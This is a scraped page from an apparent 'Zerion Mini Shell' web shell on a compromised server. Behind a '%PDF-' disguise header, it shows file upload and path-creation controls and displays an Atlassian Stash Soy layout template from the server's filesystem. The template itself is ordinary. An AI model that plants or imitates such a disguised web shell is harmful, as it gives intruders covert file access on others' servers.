%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /proc/self/root/data/old/home/stash/stash/atlassian-stash/static/layout/repository/
Upload File :
Create Path :
Current File : //proc/self/root/data/old/home/stash/stash/atlassian-stash/static/layout/repository/repository.soy

{namespace stash.layout}

/**
 * @param? atRevisionRef
 * @param repository
 *
 * data passed through to stash.layout.entity
 * @param? activeNav
 * @param? actionWebItems
 * @param? bodyClass String. Additional classes to be added to the BODY
 * @param content Main page content inserted inside the #content section
 * @param? dataAttributes Data attributes for main content section
 * @param? entityNotificationsContent
 * @param? entitySecondaryActionsContent
 * @param? entityUrl
 * @param? extraAttributes String or Object. Additional Extra attributes to apply to BODY
 * @param? focusedPageSize Default: xlarge. Options: small, medium, large, xlarge.
 * @param? headContent Content inserted inside HEAD after TITLE.
 * @param? hideLoginLink Boolean. Hides the "Login" link in global app header. Primarily used on the login page itself
 * @param? isVerticalNav
 * @param? pageBottomContent Additional content at the bottom of the page, below the page footer.
 * @param? navClass
 * @param? pageHeaderContent Content to put inside a aui.page.pageHeader at the top of the page
 * @param? panelClass
 * @param? panelContentHeader a heading to display inside the page panel content area
 * @param? panelNavContent
 * @param? panelSidebarContent
 * @param? secondaryActionWebItems
 * @param? theme String. Theme class name added to the BODY. Default is 'stash-theme'
 * @param? useAdminContext Boolean. Loads resources for Admin page context (atl.admin instead of atl.general). Default false.
 * @param? windowTitle Text for the TITLE element
 */
{template .repository}
    {webResourceManager_requireResourcesForContext('stash.layout.repository')}
    {requirePageData('stash.layout.repository', [ 'repository': $repository ])}
    {call stash.layout.entity}
        {param actionWebFragmentsLocation: 'stash.web.repository.header.buttons' /}
        {param actionWebFragmentsContext: $atRevisionRef ?
            [ 'repository' : $repository, 'atRevisionRef' : $atRevisionRef ] :
            [ 'repository' : $repository ] /}
        {param activeHeaderNav: 'repositories-menu' /}
        {param activeNav: $activeNav /}
        {param actionWebItems: $actionWebItems /}
        {param bodyClass: $bodyClass /}
        {param content: $content /}
        {param dataAttributes: $dataAttributes /}
        {param entityContext: [ 'repository' : $repository ] /}
        {param entityName: $repository.name /}
        {param entityNav: getWebItems('stash.repository.nav', [ 'repository' : $repository ]) /}
        {param entityNotificationsContent: $entityNotificationsContent /}
        {param entityParentName: $repository.project.name /}
        {param entityParentUrl: $repository.project.owner ? nav_user($repository.project.owner) : nav_project($repository.project) /}
        {param entitySecondaryActionsContent: $entitySecondaryActionsContent /}
        {param entityUrl: $entityUrl /}
        {param extraAttributes: $extraAttributes /}
        {param focusedPageSize: $focusedPageSize /}
        {param headContent: $headContent /}
        {param hideLoginLink: $hideLoginLink /}
        {param isVerticalNav: $isVerticalNav /}
        {param navClass: $navClass /}
        {param pageHeaderContent: $pageHeaderContent /}
        {param pageType: 'sidebar' /}
        {param panelClass: $panelClass /}
        {param panelContentHeader: $panelContentHeader /}
        {param panelNavContent: $panelNavContent /}
        {param panelSidebarContent: $panelSidebarContent /}
        {param secondaryActionWebItems: $secondaryActionWebItems /}
        {param sidebarSettingsWebItems: getWebItems('internal.repository.sidebar.footer', [ 'repository' : $repository ]) /}
        {param theme: $theme /}
        {param useAdminContext: $useAdminContext /}
        {param windowTitle: $windowTitle /}
        {param headerImageContent}
            <a href="{$repository.project.owner ? nav_user($repository.project.owner) : nav_project($repository.project)}">
                {call stash.feature.project.avatar}
                    {param size: 'large' /}
                    {param project: $repository.project /}
                    {param extraAttributes}
                        {call .tooltipData}
                            {param content}
                                {$repository.project.name}{sp}/{sp}{$repository.name}
                                {if $repository.origin}
                                    {call stash.sidebar.tooltip.fork}
                                        {param projectName}
                                            {if $repository.project.key != $repository.origin.project.key}
                                                {$repository.origin.project.name}
                                            {/if}
                                        {/param}
                                        {param repoName}
                                            {$repository.origin.name}
                                        {/param}
                                    {/call}
                                {/if}
                            {/param}
                        {/call}
                    {/param}
                {/call}
            </a>
        {/param}
        {param entityNameExtraContent}
            {if $repository.origin}
                <div class="fork-origin">
                    {call .forkOrigin}
                        {param projectName: $repository.origin.project.name /}
                        {param projectLink}
                            {if $repository.project.key != $repository.origin.project.key}
                                <a title="{$repository.origin.project.name}"
                                    href="{nav_project($repository.origin.project)}">{$repository.origin.project.name}</a>
                            {/if}
                        {/param}
                        {param repoName: $repository.origin.name /}
                        {param repoLink}
                            <a title="{$repository.origin.name}"
                                href="{nav_repo_browse($repository.origin.project.key, $repository.origin.slug)}">{$repository.origin.name}</a>
                        {/param}
                    {/call}
                </div>
            {/if}
            <div>
                {call stash.feature.repository.publicLozenge}
                    {param repository: $repository /}
                {/call}
            </div>
        {/param}
        {param entityHeaderRightItemsContent}
            {call .repositoryWebPanelSection}
                {param repository: $repository /}
                {param location: 'stash.web.repository.header' /}
                {param atRevisionRef: $atRevisionRef /}
            {/call}
        {/param}
        {param pageBottomContent}
            <script>require('layout/repository').onReady({to_json($repository)|noAutoescape}, '#clone-repo-button', '#clone-repo-dialog-content');</script>
            {if $pageBottomContent}
                {$pageBottomContent|noAutoescape}
            {/if}
        {/param}
    {/call}
{/template}


/**
 * @param? projectName
 * @param? projectLink
 * @param repoName
 * @param repoLink
 */
{template .forkOrigin}
    {call aui.icons.icon}
        {param icon: 'devtools-fork' /}
        {param useIconFont: true /}
        {param size: 'small' /}
        {param extraAttributes:
            $projectName ?
            'title="' + getText('stash.web.repository.fork.origin.different.project', $projectName, $repoName) + '"' :
            'title="' + getText('stash.web.repository.fork.origin.same.project', $repoName)  + '"'
        /}
    {/call}
    {if $projectLink}
        <span>{$projectLink|noAutoescape}</span>
    {/if}
    <div>{$repoLink|noAutoescape}</div>
{/template}

/**
 * @param repository
 * @param location
 * @param? atRevisionRef
 */
{template .repositoryWebPanelSection private="true"}
    {if $atRevisionRef}
        {foreach $webPanel in reverse(getWebPanels($location, [ 'repository' : $repository, 'atRevisionRef' : $atRevisionRef ]))}
            {$webPanel|noAutoescape}
        {/foreach}
    {else}
        {foreach $webPanel in reverse(getWebPanels($location, [ 'repository' : $repository ]))}
            {$webPanel|noAutoescape}
        {/foreach}
    {/if}
{/template}

/**
 * @param webItems
 */
{template .repositoryCloneWebItems private="true"}
    {if length($webItems) == 1}
        {foreach $webItem in $webItems}
            {call stash.buttons.button}
                {param id: $webItem.linkId /}
                {param buttonText: $webItem.linkText /}
                {param isDisabled: true /}
                {param extraClasses: 'repository-protocol' /}
                {param extraAttributes: [ 'data-clone-url' : $webItem.url, 'data-module-key' : $webItem.moduleKey ]/}
            {/call}
        {/foreach}
    {else}
        {call widget.aui.dropdown2}
            {param menuId: 'repository-protocol-selector' /}
            {param triggerClass: 'repository-protocol aui-button' /}
            {param menuContent}
                <ul>
                    {foreach $webItem in $webItems}
                        <li id="{$webItem.linkId}" data-clone-url="{$webItem.url}" data-module-key="{$webItem.moduleKey}" >
                            <a href="#">{$webItem.linkText}</a>
                        </li>
                    {/foreach}
                </ul>
            {/param}
        {/call}
    {/if}
{/template}

/**
 * @param repository
 */
{template .repositoryCloneDialog private="true"}
    <div class="hidden">
        <div id="clone-repo-dialog-content">
            <div class="clone-url">
                {call .repositoryCloneUrl}
                    {param repository: $repository /}
                    {param contentAfter}
                    {/param}
                {/call}
                {foreach $webPanel in getWebPanels('stash.web.repository.clone.dialog.help.info', [ 'repository' : $repository ])}
                    <p>{$webPanel|noAutoescape}</p>
                {/foreach}
            </div>
            {foreach $webPanel in getWebPanels('stash.web.repository.clone.dialog.content', [ 'repository' : $repository ])}
                {$webPanel|noAutoescape}
            {/foreach}
        </div>
    </div>
{/template}

/**
 * @param repository
 */
{template .repositoryCloneUrl private="true"}
    <div class="aui-buttons">
        {call .repositoryCloneWebItems}
            {param webItems: getWebItems('stash.web.repository.clone', [ 'repository' : $repository ]) /}
        {/call}
        <input type="text" class="text quick-copy-text stash-text" readonly="readonly" spellcheck="false" value="{nav_clone($repository.project, $repository, ['urlMode' : 'absolute'])}" />
    </div>
{/template}

/**
 * @param content
 */
{template .tooltipData private="true"}
    data-tooltip="{$content}"
{/template}

Zerion Mini Shell 1.0